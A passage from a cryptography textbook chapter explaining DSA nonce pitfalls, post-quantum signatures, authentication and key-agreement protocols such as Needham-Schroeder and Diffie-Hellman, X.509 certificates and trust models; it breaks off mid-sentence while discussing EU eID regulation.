DSA turns out to be very sensitive to the choice of the secret message key, 𝑘. For real
security, a new value for 𝑘 must be generated by a cryptographic random number
generator for each new message. Repeated use of the same value or disclosure of
just a few bits of 𝑘 in several messages can be exploited by an attacker to disclose
the user’s private key 𝑥. The company Sony had a nasty experience in 2010 because
of this, as some attackers could find the private key which the company used to sign
genuine PS3 software. Sony had indeed omitted to generate a new value for 𝑘 for
each signature.
106 5 Applied Cryptography

5.2.4 Planning for the Future

When electronic signatures are legally valid for signing all types of document,
it is important to think about how long a signature is to remain valid. For most
financial transactions, a validity period of just a few years is sufficient. But with legal
documents such as marriage covenants, easements, title deeds and documents related
to loan-taking, it can be necessary to be able to verify the signature over a very long
period—maybe even hundreds of years. The encryption and, if necessary, the hash
function which are used to create the signature must not be able to be broken within
this period. With current methods of producing signatures, this seems completely
unrealistic. There are at least three reasons for this rather depressing conclusion:
• As time passes, it becomes necessary to use longer and longer keys for encryption.
While key lengths of around 512 bits were recommended for creating RSA-based
signatures in the 1990s, the recommendation today is to use key lengths of 3072
bits for signatures which are to last until 2030.
• As time passes, it is necessary for any hash functions used in creating the signature
to have increasing security strengths. In the 1990s, the recommendation was to use
MD5 or SHA-1, whereas the recommendation today is to use SHA-2 or SHA-3.
• The certificates which are used to guarantee the relationship between an individual
and a given encryption key for use in verifying a signature have a limited period
of validity, often only one or two years (see Sect. 5.5 below).
As mentioned in Sect. 4.4.3.3, the development of quantum computers can make it
almost impossible to achieve secure encryption with the most common public key
cryptosystems, including RSA, Diffie-Hellman and ElGamal. Quantum computers
are also believed to be able to perform collision and preimage attacks on crypto-
graphic hash functions significantly more efficiently than classical computers. Since
the 2010s here has therefore been a considerable research effort into development
of forms of signature based on new hard problems which are resistant to attacks by
quantum computers.
In 2016, NIST in USA initiated a competition to develop Post-Quantum Cryptog-
raphy (often abbreviated to PQC), with the ultimate aim of producing new standards
for signatures and for encrypting secret keys which have to be distributed. Like other
NIST competitions, this proceeded in several rounds. In the first round there were
23 proposals for signature schemes and 59 for key encryption schemes. In the third
round, three signature schemes (CRYSTALS-Dilithium, FALCON and SPHINCS+)
and a single key encryption scheme (CRYSTALS-Kyber) were selected as the first
group of winners, and a fourth round was started to further investigate a second
group of four key encryption schemes. The final decision on which of these schemes
will be chosen as the basis for new standards is expected in the next few years.
Within a relatively short time, it will be necessary to deploy these new methods
for creating electronic signatures. And a considerable administrative effort will be
needed to convert existing electronically signed documents to use them.
5.3 Authentication 107

5.3 Authentication

The aim of authentication is to confirm that you are in fact exchanging information
with the party—the person or computer system—whom you believe you are commu-
nicating with. A really basic challenge here is to start a confidential “conversation”
in such a way that each participant is sure who the other one is. This is typically done
by exchanging some suitable identification information before any serious exchange
of data takes place. The rules for this preliminary exchange of information follow an
agreed protocol, and must ensure that a number of fairly obvious requirements are
fulfilled. Requirements 5.4 summarises these for participants Alice and Bob.

Requirements 5.4 (Properties of an authentication protocol)

An authentication protocol must have the properties:
1. Evidence: Alice must present evidence for her identity. Typically this is done by
producing (or demonstrating knowledge of) a secret which identifies Alice, and
which Bob can verify.
2. Non-transferability: Bob cannot use information received from Alice to imper-
sonate Alice in relation to a third party.
3. No third-party impersonation: No third party, Mallet, can impersonate Alice
by executing the protocol with Bob.
4. No leakage: The above properties must hold, irrespective of how many times
Alice and Bob execute the protocol.

In the case shown, it is Alice who proves her identity to Bob. If Bob also has to prove
his identity to Alice, then a corresponding protocol, in which they have swapped
roles, must be followed. How easy it is to fulfil the requirements depends on the
protocol and the type of evidence.

5.3.1 Types of Evidence

There are basically three types of evidence which are used in authentication pro-
cesses:
• Weak authentication: The secret is a password or other simple identification
code (PIN-code, pattern lock, or similar).
• Strong authentication: A cryptographically secure form of Challenge-Response.
The basic assumption is that a correct response to the challenge can only be
produced by the party who knows the relevant secret. Two examples for an SKCS,
where the secret is the parties’ shared secret key, are shown in Fig. 5.9. 𝑁 𝐴 and
𝑁 𝐵 are nonces, i.e. fresh (not previously used) references chosen by A and B
respectively to identify the current exchange.
108 5 Applied Cryptography

One-way authentication: Message 1 𝐴 → 𝐵: 𝑁𝐴

Message 2 𝐵 → 𝐴: E ( ( 𝑁 𝐴 , 𝐴) , 𝑆𝐾 𝐴𝐵 )
Two-way authentication: Message 1 𝐴 → 𝐵: 𝑁𝐴
Message 2 𝐵 → 𝐴: E ( ( 𝑁𝐵 , 𝑁 𝐴 , 𝐴) , 𝑆𝐾 𝐴𝐵 )
Message 3 𝐴 → 𝐵: E ( ( 𝑁 𝐴 , 𝑁𝐵 ), 𝑆𝐾 𝐴𝐵 )
Fig. 5.9 Simple challenge-response protocols for authentication with an SKCS

• Zero-knowledge authentication, where knowledge of the secret can be demon-

strated without any information at all about the secret itself being disclosed.
In what follows we focus on strong authentication, which is relatively secure and
very commonly used.

5.3.2 Authentication with an SKCS

The examples above of authentication protocols using an SKCS assume that Alice
and Bob already share a secret key, 𝑆𝐾 𝐴𝐵 . If they don’t have such a key, they
need help from a trustworthy (and well-protected) third party, Sam, who in this
context is often called an authentication server. The exchange between Alice, Bob
and Sam can be organised in several different ways. Here we look at one of the
best known, which was developed in its final version by Needham and Schroeder
in 1987. It is assumed that Alice already shares a secret key 𝑆𝐾 𝐴𝑆 with Sam and
that Bob correspondingly shares a secret key 𝑆𝐾 𝐵𝑆 with Sam, so each of them can
communicate confidentially with Sam, as illustrated in Fig. 5.10, even if they cannot
yet communicate confidentially with one another.

S
Fig. 5.10 Authentication
via a trustworthy and well-
protected authentication
server
A B

When they have finished executing the protocol, both Alice and Bob know who
the other is and they get to share a secret key, 𝑆𝐾 𝐴𝐵 , which they both have got from
Sam. The exchanges in the protocol are shown in Fig. 5.11.
In Message 1 Alice tells Bob who she is (and indicates in that way that she wants
to communicate with him). Bob answers in Message 2 with a so-called authenticator,
which consists of Alice’s identifier and a nonce, 𝑁 𝐵 , chosen by Bob, encrypted with
the secret key which Bob shares with Sam, 𝑆𝐾 𝐵𝑆 .
Alice cannot read what is in the authenticator, but forwards it to Sam in Message
3, together with the identifiers for both Alice and Bob, and a nonce 𝑁 𝐴 chosen by
Alice. At this stage of the exchange, nothing has been revealed to Alice or Bob
5.3 Authentication 109

Message 1 𝐴 → 𝐵: 𝐴
Message 2 𝐵 → 𝐴: E ( ( 𝐴, 𝑁𝐵 ) , 𝑆𝐾 𝐵𝑆 ) “authenticator”
Message 3 𝐴 → 𝑆: ( 𝐴, 𝐵, 𝑁 𝐴 , E ( ( 𝐴, 𝑁𝐵 ) , 𝑆𝐾 𝐵𝑆 ))
Message 4 𝑆 → 𝐴: E ( ( 𝐵, 𝑁 𝐴 , 𝑆𝐾 𝐴𝐵 , E ( ( 𝐴, 𝑁𝐵 , 𝑆𝐾 𝐴𝐵 ) , 𝑆𝐾 𝐵𝑆 )) , 𝑆𝐾 𝐴𝑆 )
Message 5 𝐴 → 𝐵: E ( ( 𝐴, 𝑁𝐵 , 𝑆𝐾 𝐴𝐵 ) , 𝑆𝐾 𝐵𝑆 )
Message 6 𝐵 → 𝐴: E ( 𝑁𝐵0 , 𝑆𝐾 𝐴𝐵 )
Message 7 𝐴 → 𝐵: E ( 𝑁𝐵0 − 1, 𝑆𝐾 𝐴𝐵 )
Fig. 5.11 Needham & Schroeder’s authentication protocol for an SKCS

(or to any attackers who might be eavesdropping) which they didn’t know already.
Neither Alice nor any attackers can decipher the authenticator; it can only be read
and checked by Bob or Sam.
Sam, who knows all the secret keys, now reads the authenticator and constructs a
new one, which is still encrypted with 𝑆𝐾 𝐵𝑆 , but now also contains the new secret
key, 𝑆𝐾 𝐴𝐵 , which Alice and Bob will share in their further communication:

E (( 𝐴, 𝑁 𝐵 , 𝑆𝐾 𝐴𝐵 ), 𝑆𝐾 𝐵𝑆 )

This is sent in Message 4 from Sam to Alice tgether with Bob’s identifier, Alice’s
nonce and the new key. Message 4 is encrypted with the secret key which Alice
shares with Sam, so the new secret cannot be revealed to anyone other than Alice.
Alice can now check that the reply from Sam in Message 4 contains precisely the
nonce that Alice herself chose, and that no attackers have changed the identification
of the party, Bob, whom Alice would like to communicate with. This might have hap-
pened if an attacker had modified Message 3 or replaced it with an old “Message 3”
from a previous exchange. If everything seems to be OK, Alice accepts 𝑆𝐾 𝐴𝐵 as
the right key to use for communication with Bob, and sends Bob (in Message 5) the
extended authenticator, which Alice has just received from Sam. As it is encrypted
with 𝑆𝐾 𝐵𝑆 , Bob can decrypt it, get hold of the new secret key and check that the
nonce is Bob’s own, 𝑁 𝐵 . This shows that the message is not a replay of an old
“Message 5”. Bob can now conclude that the trustworthy Sam can vouch for Alice
being the other party.
The last two messages are needed to convince Alice and Bob that the other actually
exists and has got hold of the key 𝑆𝐾 𝐴𝐵 . In Message 6, Bob uses the new key to send
a new nonce to Alice, who modifies it in some agreed manner (here just indicated by
subtracting 1 from the value of the nonce) to protect against a replay performed by
an attacker. She then sends the modified value, encrypted with the new key, to Bob.
Alice and Bob are now able to communicate confidentially with one another—and
subsequently also to authenticate themselves to one another by using the new key.
110 5 Applied Cryptography

One-way authentication:
Message 1 𝐴 → 𝐵: 𝑁𝐴
Message 2 𝐵 → 𝐴: ( E ( ( 𝐵, 𝑃𝐾 𝐵 ) , 𝑆𝐾𝑆 ), 𝑁𝐵 , 𝑁 𝐴 , 𝐴, E ( ( 𝑁𝐵 , 𝑁 𝐴 , 𝐴) , 𝑆𝐾 𝐵 ))
Two-way authentication:
Message 1 𝐴 → 𝐵: 𝑁𝐴
Message 2 𝐵 → 𝐴: ( E ( ( 𝐵, 𝑃𝐾 𝐵 ) , 𝑆𝐾𝑆 ), 𝑁𝐵 , 𝑁 𝐴 , 𝐴, E ( ( 𝑁𝐵 , 𝑁 𝐴 , 𝐴) , 𝑆𝐾 𝐵 ))
Message 3 𝐴 → 𝐵: ( E ( ( 𝐴, 𝑃𝐾 𝐴) , 𝑆𝐾𝑆 ) , 𝐵, E ( ( 𝑁 𝐴 , 𝑁𝐵 , 𝐵) , 𝑆𝐾 𝐴))

Fig. 5.12 Simple challenge-response protocols for authentication with a PKCS

5.3.3 Authentication with a PKCS

When Alice and Bob want to authenticate one another using a PKCS, the important
question is whether they know one another’s public keys. If they do, then either of
them can verify a signature constructed by the other. This leads to the two simple
challenge-response strategies for strong authentication shown in Fig. 5.12.
E (( 𝐴, 𝑃𝐾 𝐴), 𝑆𝐾𝑆 ), which contains Alice’s identity and public key, 𝑃𝐾 𝐴,
encrypted with Sam’s private key, 𝑆𝐾𝑆 , is known as Alice’s certificate, and
E ((𝐵, 𝑃𝐾 𝐵 ), 𝑆𝐾𝑆 ) correspondingly as Bob’s certificate. Sam is assumed to be
a trustworthy server which can vouch for the fact that Alice has the public key 𝑃𝐾 𝐴
and Bob has public key 𝑃𝐾 𝐵 .
E ((𝑁 𝐵 , 𝑁 𝐴, 𝐴), 𝑆𝐾 𝐵 ) is Bob’s signature, and correspondingly for Alice. As in
the previous examples, nonces are used to ensure the integrity and topicality of the
exchange. This protocol for authentication is the basis for Part 3 of the international
standard ISO9798.
If Alice and Bob do not know one another’s public keys, they must (just as for
authentication with an SKCS) be helped by the trustworthy server Sam, who can send
each of them the other party’s certificate. It is not necessary to use signatures—the
challenge can simply be a nonce encrypted with the intended receiver’s public key.
The correct receiver can decrypt this with his private key and send the result as
the response to the challenger. The exchange, originally invented by Needham and
Schroeder in 1978 and later improved by Lowe, is shown in Fig. 5.13.
In Message 1, Alice asks Sam to send Bob’s certificate, which Sam does in
Message 2. Message 3 is Alice’s challenge to Bob; it contains Alice’s identifer and
a nonce, 𝑁 𝐴, which Alice has generated, and is encrypted with Bob’s public key,

Message 1 𝐴 → 𝑆: ( 𝐴, 𝐵)
Message 2 𝑆 → 𝐴: E ( (𝐵, 𝑃𝐾 𝐵 ) , 𝑆𝐾𝑆 ) Bob’s certificate
Message 3 𝐴 → 𝐵: E ( ( 𝐴, 𝑁 𝐴) , 𝑃𝐾 𝐵 )

Message 4 𝐵 → 𝑆: (𝐵, 𝐴)
Message 5 𝑆 → 𝐵: E ( ( 𝐴, 𝑃𝐾 𝐴), 𝑆𝐾𝑆 ) Alice’s certificate
Message 6 𝐵 → 𝐴: E ( ( 𝑁 𝐴 , 𝑁𝐵 , 𝐵) , 𝑃𝐾 𝐴)
Message 7 𝐴 → 𝐵: E ( 𝑁𝐵 , 𝑃𝐾 𝐵 )
Fig. 5.13 The Needham-Schroeder-Lowe authentication protocol for a PKCS
5.4 Key Distribution 111

𝑃𝐾 𝐵 . Bob can decrypt this with his private key and find Alice’s nonce, 𝑁 𝐴, for use
later.
Correspondingly, in Message 4 Bob asks Sam to send Alice’s certificate, which
Sam does in Message 5. Bob can then construct Message 6, in which he sends
Alice both her nonce as a response to Alice’s challenge and a nonce, 𝑁 𝐵 , which
Bob himself has generated, together with Bob’s identity. The message is encrypted
with Alice’s public key, so Alice can decrypt it, check that it contains her nonce,
𝑁 𝐴, and find Bob’s nonce, 𝑁 𝐵 , which is Bob’s challenge to her. The inclusion of
Bob’s identity—a feature added by Lowe in 1995 – prevents man-in-the-middle
attacks, as an intruder would need to use its own identity instead of Bob’s. Message
7 contains Alice’s response to Bob’s challenge—Bob’s nonce encrypted with Bob’s
public key. Bob can then decrypt the message with his private key and check that
Alice has answered as expected. Alice and Bob are now both convinced that they are
communicating with the right party.
This form of authentication is known as three-way strong authentication. Kerberos
uses a variant of this in which the nonces are replaced by timestamps. It is important
to notice that the trustworthy server does not get to see the two parties’ secret keys;
in a PKCS, a party’s private key will normally only be found in its owner’s system.
There are a few exceptions: for example the public electronic identity system, MitID,
in Denmark uses a PKCS in which the private keys are kept under specially secured
conditions in the issuer’s systems.

5.4 Key Distribution

Key distribution is the general term for activities whose purpose is to make a shared
secret available to two or more parties. Often this is, as we have seen, an integral
part of the authentication process.
Key distribution can be based on two fundamental techniques:
• Key transport: One of the parties (often a trustworthy server) generates a new
key and sends it in a secure manner to the others.
• Key agreement: Each party contributes with a portion of the information needed
to generate a new key.
The methods of key distribution which we have seen used in connection with au-
thentication are all based on key transport. The basic idea there has been that the
party which generates the key sends an encrypted message, which contains the key, a
nonce (typically a timestamp or sequence number) to guarantee the key’s freshness,
and possibly his electronic signature, to the party who is to receive the key. These re-
quirements ensure confidentiality of the new key’s value, integrity and autentication
of the sender. In some contexts, information about the key’s lifetime is also included.
Keys become invalid when their lifetime runs out, and they must be renewed or
replaced before this happens.
112 5 Applied Cryptography

NORMAL: KA A B KB
αxA
αxAxB αxB αxAxB

ATTACK: KA A M B KB
αxA
αxA
'

αxB αxA' xB
αxA xB αxB
' '

Fig. 5.14 A man-in-the-middle attack on the Diffie-Hellman protocol from an active attacker

5.4.1 Diffie-Hellman Key Agreement

Diffie and Hellman’s protocol for agreeing on a shared secret was the first practical
solution to the problem of distributing keys via an insecure communication channel.
Given a publicly known large prime number 𝑞 and a publicly known integer 𝛼
(pronounced “alfa”), Alice and Bob each have a secret key, 𝑥 𝐴 and 𝑥 𝐵 respectively,
and send one another information as follows:
Message 1 𝐴 → 𝐵: 𝛼 𝑥 𝐴 mod 𝑞
Message 2 𝐵 → 𝐴: 𝛼 𝑥𝐵 mod 𝑞
Alice and Bob can then calculate the same shared secret — 𝐾 = 𝛼 𝑥 𝐴 ·𝑥𝐵 mod 𝑞 —
to be used, for example, as the key in an SKCS.
Essentially, Diffie-Hellman agreement relies on a PKCS where 𝑥 𝐴 and 𝑥 𝐵 are
Alice’s and Bob’s respective secret keys, while (𝛼 𝑥 𝐴 mod 𝑞) and (𝛼 𝑥𝐵 mod 𝑞) are
their public keys, just as in the Digital Signature Algorithm. Since it is very difficult
to find the exponent 𝑥, if you only know (𝛼 𝑥 mod 𝑞), 𝛼 and 𝑞, it is infeasible for
Bob (or an attacker Eve who is eavesdropping on the exchange) to find Alice’s secret
key, 𝑥 𝐴, and infeasible for Alice (or Eve) to find Bob’s secret key, 𝑥 𝐵 . An important
consequence of this is that passive attackers, who just listen to the exchange, cannot
derive the shared secret.
On the other hand, the protocol is not secure against active attackers, such as
Mallet, who can perform a man-in-the-middle attack which inserts or changes mes-
sages on their way between Alice and Bob, as shown in Fig. 5.14. Mallet replaces
0 0
Alice’s message 𝛼 𝑥 𝐴 with 𝛼 𝑥 𝐴 and Bob’s reply 𝛼 𝑥𝐵 with 𝛼 𝑥𝐵 , where both 𝑥 0𝐴 and
𝑥 𝐵0 are numbers which Mallet has chosen. This means that Alice calculates the key
0 0
𝐾 𝐴 = 𝛼 𝑥 𝐴 ·𝑥𝐵 , while Bob calculates 𝐾 𝐵 = 𝛼 𝑥𝐵 ·𝑥 𝐴 . But Mallet has all the information
needed to calculate both these keys. He can therefore decrypt all messages sent later
from Alice to Bob or vice versa, re-encrypt them using the key which the intended
receiver has calculated, and then forward them to the intended receiver. Thus Alice
and Bob’s conversation is compromised without either of them being aware of it.
5.5 Certificates 113

5.4.2 More Secure Key Agreements

What is missing in order to prevent this type of active attack on the Diffie-Hellman
protocol is information which identifies the sender of a message (in other words:
authentication), and information which ensures integrity.
The security is improved if an electronic signature is added to Diffie-Hellman
messages as a proof of their origin. A well-known example of an improved protocol
is the so-called station-to-station protocol shown in Fig. 5.15. As in the original
Diffie-Hellman protocol, the agreed key 𝐾 is (𝛼 𝑥 𝐴 ·𝑥𝐵 mod 𝑞), With these additions
0 0
to the Diffie-Hellman protocol, attackers cannot replace 𝛼 𝑥 𝐴 by 𝛼 𝑥 𝐴 or 𝛼 𝑥𝐵 by 𝛼 𝑥𝐵
without this being detected, as they cannot forge the signatures.

Message 1 𝐴 → 𝐵: 𝛼 𝑥 𝐴 mod 𝑞
Message 2 𝐵 → 𝐴: ( 𝛼 𝑥𝐵 mod 𝑞, E ( S 𝐵 ( 𝛼 𝑥𝐵 , 𝛼 𝑥 𝐴 ) , 𝐾 ))
Message 3 𝐴 → 𝐵: E ( S 𝐴 ( 𝛼 𝑥𝐵 , 𝛼 𝑥 𝐴 ) , 𝐾 )

Fig. 5.15 The station-to-station protocol for key agreement

Here the notation S 𝑖 (𝑚) means message 𝑚 signed by 𝑖.

5.5 Certificates

Certificates are digital documents which guarantee which public key belongs to a
given subject. They are an essential ingredient in so-called Public Key Infrastructure
(PKI) systems, where they are used to determine identity. They are used in all contexts
where it is necessary to know a subject’s public key—for example, when verifying
electronic signatures and for authentication. The certificates in a PKI system are
issued by a Certificate Authority (CA), which the owner and potential recipients of
the certificate need to trust.
The completely essential components in a certificate are, as we have seen, the
owner’s identity and public key, signed with the issuer’s electronic signature, but in
practice most certificates contain additional information. The commonest structure
today is for so-called X.509v3 certificates — that is to say, they follow version 3 of
the ITU-T standard X.509. This structure is shown in Fig. 5.16.
The signature algorithm is described by specifying which encryption algorithm
and (if required) hash function is used for calculating the signature, e.g. PKCS#1
SHA-1 with RSA encryption. The description of the owner’s public key consists
of a specification of which encryption algorithm the key is to be used with (e.g.
RSA), and the key’s value—for RSA, the values of the modulus and public exponent,
(𝑛, 𝑝), cf. Sect. 4.4.3.
114 5 Applied Cryptography

Fig. 5.16 Basic structure of 𝑉 𝑒𝑟 𝑠𝑖𝑜𝑛 Version of X.509

an X.509v3 certificate
𝑆𝑒𝑟 𝑁 𝑜 Certificate serial number
𝐴𝑙𝑔𝑜 Signature algorithm
𝐶𝐴 Issuer’s identity
𝑇𝑣 𝑎𝑙 Period of validity
𝐴 Owner’s identity
𝑃𝐾 𝐴 Owner’s public key
𝐸 𝑥𝑡 Extensions
𝐷𝑆𝐶 𝐴 Electronic signature of CA

The period of validity is given by specifying the date and time at which the
certificate becomes valid (it can easily be issued before this date) and when the
validity of the certificate automatically expires. For example:
Not Before: 1. december 2006 00:00:00 GMT
Not After: 31. december 2029 23:59:59 GMT
It is important in this connection to be aware that a certificate can be revoked—and
therefore become invalid—before its expiry date. This typically happens if the owner
(or others) find out that the owner’s private key has been compromised. The issuing
CA maintains a list of revoked certificates in a Certificate Revocation List (CRL),
which can be consulted by anyone who wants to check a certificate’s validity. The
possibility of revocation complicates the practical use of certificates—a topic which
is discussed in Chap. 8.
The identities of the certificate’s owner and issuer are given in the form of X.500
names—i.e. as a set of attributes, which together uniquely identify the subject, as
prescribed in ITU-T’s X.500 series of standards. For example:
CN = COMODO RSA Organization Validity Secure Server CA
O = COMODO CA Limited
L = Salford
ST = Greater Manchester
C = GB
This example shows the X.500 name for the issuer of a certificate for a server.
The attribute CN gives the issuer’s Common Name, while O gives the name of its
Organisation. In many X.500 names there are also one or more attributes OU, which
describe an Organizational Unit, such as a department or branch. Attribute L gives
the Location, ST gives the State or other administrative unit within the country, and
C gives the Country. A list of the most common attributes and their abbreviations can
be found in Table 10.3 The complete list can be dound in the standard X.520 [51].
The certificate’s extensions field gives optional further information about the
certificate, such as the purposes for which the key may be used (e.g. signing, key
encryption, client authentication etc.), the security policy used for certificates by
the issuer, web sites where CRLs with information about revoked certificates can be
found, and so on.
5.5 Certificates 115

The security policy is typically given as a reference to a so-called Certificate

Signing Policy (CSP), which amongst other things contains information about how
certificates are stored by the CA and about which requirements are in place for
checking the owner’s identity when the certificate is issued.
The CA’s signature covers all the other fields in the certificate. All parties who
get hold of the certificate and who trust this CA can use the certificate’s contents in
the specified contexts—for example, to check that Alice has signed messages with
her private key, 𝑆𝐾 𝐴.

5.5.1 How Are Certificates Issued in a PKI?

To issue a certificate in a PKI, the CA must get hold of the subject’s public key and
identity. Here there are two different scenarios, depending on where the subject’s
key pair is created:
1. Keys are created by the subject: The subject sends the CA a Certificate Signing
Request (CSR)). The request is usually in the so-called PKCS#10 format [69]
and contains the subject’s public key together with information which proves the
subject’s identity. It is encrypted with the subject’s private key, so the receiver can
check that this matches the public key. But the actual private key stays with the
subject. The CA (or a separate Registration Authority (RA)) checks the identity
and generates a certificate, which is sent to the subject and typically also stored
by the CA in a publicly accessible database.
2. Keys are created by the CA: In this case, the CA can itself just create the
certificate. After this, there are two possibilities: (1) The key pair and certificate
are stored in a smartcard or similar, which is sent in a secure manner to the
subject. Or (2) The key pair and certificate are sent to the subject in a file
in PKCS#12 format[66]. In this case, the key pair and certificate are typically
protected by symmetric encryption with a key derived from a password. An
activation code, which is sent separately, makes it possible fot the recipient to
decrypt the information and install the keys in a browser, mail client or server,
depending on what the keys are to be used for.
Obviously there are some requirements on the proof of identity. How strict these are
will depend on what the keys are to be used for. In general CAs divide certificates
up into three classes:
1. Modest requirements for proof of identity. The keys can typically only be used
for signing and encrypting e-mail and for authentication of clients.
2. Moderate requirements for proof of identity. The keys can also be used for signing
documents where a higher level of trust in the identity is required.
3. Strong requirements for proof of identity. The keys can also be used for authen-
tication of servers. A special subclass of Class 3 certificates, known as Extended
Validation (EV) certificates, is used for servers which are to be accessed via
SSL/TLS, where authentication of the server is critical.
116 5 Applied Cryptography

You can easily see this for yourself by looking in your web browser, where it is
possible to see a list of which CAs have root certificates that the browser can accept.
In Problem 5.5 you can find instructions for how to do this. You will find that some
CAs have several root certificates of different qualities, which are therefore normally
used for different purposes. Typical practical requirements for proof of identity are
discussed in Sect. 5.7 below.

5.5.2 Access to Certificates

Here the reader will perhaps be thinking: “this is all very well, but how do I get hold
of A’s certificate?”. When ITU-T originally developed the standards in the X.500
series—including X.509—the idea was that a worldwide, publicly accessible X.500
Directory should be set up, so that people could look up all manner of information
about a subject, if one knew the subject’s X.500 name. And some of this information
would be the subject’s certificates. This solution turned out to be too big a mouthful to
be realised in practice. So the practical solution today is to send relevant certificates
together with the data which the certificates are to be used to check. An electronic
signature, for example, will be sent together with the signer’s certificate.
Observant readers who have looked at Fig. 5.16 will realise that this strategy has
noticeable costs: A’s certificate itself contains a signature from the issuing CA, so the
CA’s certificate must also be sent. And that certificate will contain a signature from
its issuing CA, and so on. The chain of certificates is not infinite, as at some stage
one gets to a certificate which is signed by a CA whose certificate is so basic that all
parties will know and trust it—a so-called root certificate. Most IT systems have a
selection of root certificates pre-installed in the operating system, webbrowsers and
mail clients, so there is no reason to send such certificates together with the data.
Some parties who need a certificate try to take the easy way out and create a
so-called self-signed certificate – that is to say, a certificate signed with the owner’s
own private key. As this type of certificate does not have a chain of trust back to a
recognised root certificate, it is in general of doubtful value except between parties
who already know and trust one another. Many web browsers, for example, will
for security reasons refuse to accept web pages from servers which only identify
themselves by means of a self-signed certificate.

5.6 Trust Models

Trust between humans is a psychological phenomenon, and there are many factors
which can be used to evaluate whether a human being is trustworthy, such as be-
haviour, previous experiences, tone of voice and even appearance (see, for example,
[89]).
5.6 Trust Models 117

In the computer world the central question is how one can trust that a claim made
by a subject A is true or false. For example: how can you decide whether A’s claim
that it has a given public key 𝑃𝐾 𝐴 is true or false? There have been many proposals
for how to answer this type of question, but they can be collected into classes which
are based on different trust models.
Basically, a trust model describes the rules for how trust between subjects arises
and can be checked. Three commonly used models are:
1. The hierarchical trust model.
2. The web-of-trust model.
3. The reputation-based trust model
These three models are discussed below.

5.6.1 The Hierarchical Trust Model

This model is based on a hierarchy of authorities (CAs), which sign certificates

and thus issue a guarantee that a particular subject owns the public key which is
presented in the certificate. Subjects further down in the hierarchy trust certificates
which have been signed by CAs higher up. The classic example of this is the PKI
systems described above.
To decide whether subject A has the the public key 𝑃𝐾 𝐴 according to the hier-
archical trust model, you must be able to trust the CA which signed A’s certificate.
This is easy if your own certificate comes from the same CA. But if you do not
directly know whether you trust the CA, you must be able to trust a CA which is a
common superior for your own and A’s CA in the hierarchy. Or, if A’s CA belongs
to a different hierarchy, you have to trust the root CA of that other hierarchy. This is
illustrated in Fig. 5.17.
In the figure, circles represent CAs, and rounded boxes represent subjects. Arrows
indicate the direction of trust—showing for example that subject B trusts 𝐶 𝐴2 , and
𝐶 𝐴4 trusts 𝐶 𝐴0 . The small yellow stars represent certificates, which in all cases
have been signed by the CA one level higher up in the hierarchy. So for example E’s

CA0

CA1 CA5

CA2 CA3 CA4 CA6 CA7

A B C D E F G M N P S

Fig. 5.17 Two trust hierarchies in a PKI

118 5 Applied Cryptography

certificate has been signed by 𝐶 𝐴3 and 𝐶 𝐴3 ’s certificate by 𝐶 𝐴1 . And since subject

A’s certificate has been signed by 𝐶 𝐴2 and F’s certificate by 𝐶 𝐴4 , then A and F
can trust one another’s certificates, since they have a common superior, 𝐶 𝐴0 , in the
hierarchy. 𝐶 𝐴0 and 𝐶 𝐴5 are the two root CAs, as described in Sect. 5.5. They have
root certificates, shown as small red stars.

5.6.2 The Web-of-trust Model

In this model there are no authorities. Each subject creates its own keys and a self-
signed certificate. Other subjects who trust the creator add their signatures to show
their trust. In this way a “web” is built up which reflects the mutual trust between
subjects. The classic example of this is PGP.
To decide whether subject A has the the public key 𝑃𝐾 𝐴 according to the web-
of-trust model, you need to trust A. This is easy if you yourself consider A to be
trustworthy. If you do not directly know whether you can trust A, then you have to
be able to trust someone who trusts A, maybe through a whole chain of trust. This
is illustrated in Fig. 5.18.

A
B
F

C
G E

D
Fig. 5.18 A web of trust

In the figure, arrows again indicate the direction of trust, showing for example
that subject B trusts A and has therefore signed the certificate that certifies that the
key described in the certificate belongs to A. Similarly, G and E trust one another
and have signed one another’s certificates. In general, an entity X can trust an entity
Y’s key if there is an unbroken path along the arrows through the web from X to Y.
So although D does not directly trust A, it can trust A indirectly, as there are several
such chains of trust from D to A. For example D-E-F-A, D-C-B-A and D-E-G-F-A.
On the other hand, the web of trust shown in the figure shows that A does not trust
any others, as there are no arrows which start in A.

5.6.3 The Reputation-based Trust Model

In this model, the subjects tell one another whether their experience indicates that a
subject can be trusted. The classic example of this is eBay.
5.7 Establishing an Identity 119

In most systems based on this model, a subject 𝑋 calculates a “trust value” for
subject 𝑌 by combining an evaluation of 𝑋’s own experiences from exchanges with
𝑌 with evaluations collected up from a (larger or smaller) group of other subjects
who have had an exchange with 𝑌 . There are many technical proposals for how the
results from direct and indirect experiences should be combined, and it would take
us into too much detail to describe them here.
In this connection it is important to notice that the three models are well-suited
for creating somewhat different forms of trust. The hierarchical and web-of-trust
models make it possible to trust a subject’s (i.e. a person’s or computer system’s)
identity, based on the idea “If you have that public key, then you are that subject”. The
reputation-based trust model makes it possible to trust a subject’s behaviour—not
just when the subject claims to have a particular identity, but also in general, that the
subject behaves correctly and follows the rules of the game.

5.7 Establishing an Identity

In order for some party, say Alice, to obtain any sort of documentation for identity,
such as a certificate, it is obviously essential that Alice is able to produce suitable
evidence which demonstrates that she really is who she claims to be. How easy this
is to do depends on two main factors:
1. Exactly what sort of entity Alice really is. For example, is Alice actually a human
being or just an IT system, such as a server.
2. The degree of confidence which we want to have in the claimed identity.
Publicly accessible IT systems in the Internet are very easy to deal with, as each such
entity has a globally unique Internet name which has been registered in the Internet’s
Domain Name System, which we look at in more detail in Chap. 6. This registration
process may be assumed to be trustworthy. If for example we then need an X.500
name for use in an X509v3 certificate, we can just use the Internet name as one of
the attributes (typically the Common Name (CN) attribute) to create a unique X.500
name for use in the certificate.
The other common simple case is when we want to have documentation for the
identity of a client such as a web browser or e-mail client. In this case, too, it is
easy to find a globally unique name which can be used in the certificate—namely,
the name of the user’s e-mail account: [email protected] or whatever. It
is easy for a supplier of credentials for this purpose to check that this account exists
by simply sending it an e-mail with instructions on how to intall the credentials
themselves. Despite the risk of spoofing, this is normally enough to provide at least
a limited degree of confidence in the correctness of the identity.
The most complicated cases arise when it is persons whose identity needs to be
established. This has become a really important issue for the establishment of systems
for issuing and using personal electronic identities (eIDs), which as time goes by
are used in many contexts in society, especially within public administration and the
120 5 Applied Cryptography

world of finance. Here it is vitally important to be able to trust the identity of natural
or legal persons using such services via the Internet. An organisation which can
provide really trustworthy electronic credentials is said to be a trust service provider
(TSP). The EU, which together with Switzerland is one of the world leaders in the
area of trusted identity services, issued in 1999 a directive (Directive 1999/93/EC)
with a view to establishing a common framework for eIDs within the European
Community [30]. In 2014 this was followed up by its approval of the so-called
